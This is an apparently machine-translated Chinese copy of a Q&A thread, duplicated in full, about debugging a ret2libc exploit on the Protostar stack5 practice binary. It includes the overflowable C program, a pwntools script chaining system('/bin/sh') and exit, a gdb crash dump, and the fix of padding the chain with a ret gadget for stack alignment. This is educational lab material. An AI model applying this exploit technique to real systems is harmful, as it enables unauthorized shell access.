ret2libc 攻击中的段错误,但不是硬编码的系统调用
Segfault in ret2libc attack, but not hardcoded system call
我有以下原星挑战
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[BUFFSIZE];
char flagBuffer[64];
FILE *fp;
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xff000000) == 0xff000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
并且正在使用
将其编译为 64 位
gcc stack5.c -DBUFFSIZE=64 -no-pie -fno-stack-protector -O0 -o stack5
我正在使用 pwntools 来制作我的 exploit。这是我的 exploit.py 文件
from pwn import *
exe = './stack5'
context.clear(arch='amd64')
context.kernel = 'amd64'
system_addr = 0x7ffff7a33440
exit_addr = 0x7ffff7a27120
binsh_addr = 0x7ffff7b97e9a
binary = ELF(exe)
binary.symbols = {'system': system_addr, 'exit': exit_addr}
rop = ROP(binary)
rop.system(binsh_addr)
rop.exit()
print(rop.dump())
payload = cyclic(128)
p = process([exe])
p.sendline(payload)
p.wait()
# Get the core dump
core = Coredump('./core')
print cyclic_find(pack(core.fault_addr))
payload = flat({cyclic_find(pack(core.fault_addr)): rop.chain()})
p = binary.process()
p.recv()
p.sendline(payload)
p.interactive()
这会导致段错误。将负载保存到 txt 文件和 运行 gdb 后,我发现段错误发生在 do_system
内
input path please: got path aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa#@
[New process 23199]
Thread 2.1 "stack5" received signal SIGSEGV, Segmentation fault.
[Switching to process 23199]
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
RBX: 0x0
RCX: 0x7ffff7b97e9f --> 0x2074697865006873 ('sh')
RDX: 0x0
RSI: 0x7ffff7dd16a0 --> 0x0
RDI: 0x2
RBP: 0x7fffffffe1d8 --> 0x0
RSP: 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov rcx,QWORD PTR [rsp+0x18])
RIP: 0x7ffff7a332f6 (<do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0)
R8 : 0x7ffff7dd1600 --> 0x0
R9 : 0x4f ('O')
R10: 0x8
R11: 0x246
R12: 0x7ffff7b97e9a --> 0x68732f6e69622f ('/bin/sh')
R13: 0x7fffffffe3f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a332e6 <do_system+1078>: movq xmm0,QWORD PTR [rsp+0x8]
0x7ffff7a332ec <do_system+1084>: mov QWORD PTR [rsp+0x8],rax
0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
0x7ffff7a332fb <do_system+1099>: call 0x7ffff7a23110 <__GI___sigaction>
0x7ffff7a33300 <do_system+1104>: lea rsi,[rip+0x39e2f9] # 0x7ffff7dd1600 <quit>
0x7ffff7a33307 <do_system+1111>: xor edx,edx
0x7ffff7a33309 <do_system+1113>: mov edi,0x3
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov rcx,QWORD PTR [rsp+0x18])
0008| 0x7fffffffe180 --> 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
0016| 0x7fffffffe188 --> 0x7fffffffe260 --> 0x10000
0024| 0x7fffffffe190 --> 0xffffe1a0
0032| 0x7fffffffe198 --> 0x7ffff7a33360 (<cancel_handler>: push rbx)
0040| 0x7fffffffe1a0 --> 0x7fffffffe194 --> 0xf7a3336000000000
0048| 0x7fffffffe1a8 --> 0x7fffffffe2a0 --> 0x0
0056| 0x7fffffffe1b0 --> 0x7ffff7dd18d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a332f6 in do_system (line=0x7ffff7b97e9a "/bin/sh") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.
令人困惑的是,当我将对 system("/bin/sh");
的调用添加到 c 代码中时,该调用有效并且我弹出 shell,但是当我通过 ret2libc 攻击调用系统时,它会出现段错误.
搜索说明 movaps segfault
后,我发现 this site 解释了这个问题。
The MOVAPS issue
If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
只需在调用 system
对齐字节之前添加对 ret
小工具的调用,并允许我弹出 shell.
我有以下原星挑战
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[BUFFSIZE];
char flagBuffer[64];
FILE *fp;
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xff000000) == 0xff000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
并且正在使用
将其编译为 64 位gcc stack5.c -DBUFFSIZE=64 -no-pie -fno-stack-protector -O0 -o stack5
我正在使用 pwntools 来制作我的 exploit。这是我的 exploit.py 文件
from pwn import *
exe = './stack5'
context.clear(arch='amd64')
context.kernel = 'amd64'
system_addr = 0x7ffff7a33440
exit_addr = 0x7ffff7a27120
binsh_addr = 0x7ffff7b97e9a
binary = ELF(exe)
binary.symbols = {'system': system_addr, 'exit': exit_addr}
rop = ROP(binary)
rop.system(binsh_addr)
rop.exit()
print(rop.dump())
payload = cyclic(128)
p = process([exe])
p.sendline(payload)
p.wait()
# Get the core dump
core = Coredump('./core')
print cyclic_find(pack(core.fault_addr))
payload = flat({cyclic_find(pack(core.fault_addr)): rop.chain()})
p = binary.process()
p.recv()
p.sendline(payload)
p.interactive()
这会导致段错误。将负载保存到 txt 文件和 运行 gdb 后,我发现段错误发生在 do_system
input path please: got path aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa#@
[New process 23199]
Thread 2.1 "stack5" received signal SIGSEGV, Segmentation fault.
[Switching to process 23199]
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
RBX: 0x0
RCX: 0x7ffff7b97e9f --> 0x2074697865006873 ('sh')
RDX: 0x0
RSI: 0x7ffff7dd16a0 --> 0x0
RDI: 0x2
RBP: 0x7fffffffe1d8 --> 0x0
RSP: 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov rcx,QWORD PTR [rsp+0x18])
RIP: 0x7ffff7a332f6 (<do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0)
R8 : 0x7ffff7dd1600 --> 0x0
R9 : 0x4f ('O')
R10: 0x8
R11: 0x246
R12: 0x7ffff7b97e9a --> 0x68732f6e69622f ('/bin/sh')
R13: 0x7fffffffe3f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a332e6 <do_system+1078>: movq xmm0,QWORD PTR [rsp+0x8]
0x7ffff7a332ec <do_system+1084>: mov QWORD PTR [rsp+0x8],rax
0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
0x7ffff7a332fb <do_system+1099>: call 0x7ffff7a23110 <__GI___sigaction>
0x7ffff7a33300 <do_system+1104>: lea rsi,[rip+0x39e2f9] # 0x7ffff7dd1600 <quit>
0x7ffff7a33307 <do_system+1111>: xor edx,edx
0x7ffff7a33309 <do_system+1113>: mov edi,0x3
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov rcx,QWORD PTR [rsp+0x18])
0008| 0x7fffffffe180 --> 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
0016| 0x7fffffffe188 --> 0x7fffffffe260 --> 0x10000
0024| 0x7fffffffe190 --> 0xffffe1a0
0032| 0x7fffffffe198 --> 0x7ffff7a33360 (<cancel_handler>: push rbx)
0040| 0x7fffffffe1a0 --> 0x7fffffffe194 --> 0xf7a3336000000000
0048| 0x7fffffffe1a8 --> 0x7fffffffe2a0 --> 0x0
0056| 0x7fffffffe1b0 --> 0x7ffff7dd18d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a332f6 in do_system (line=0x7ffff7b97e9a "/bin/sh") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.
令人困惑的是,当我将对 system("/bin/sh");
的调用添加到 c 代码中时,该调用有效并且我弹出 shell,但是当我通过 ret2libc 攻击调用系统时,它会出现段错误.
搜索说明 movaps segfault
后,我发现 this site 解释了这个问题。
The MOVAPS issue
If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
只需在调用 system
对齐字节之前添加对 ret
小工具的调用,并允许我弹出 shell.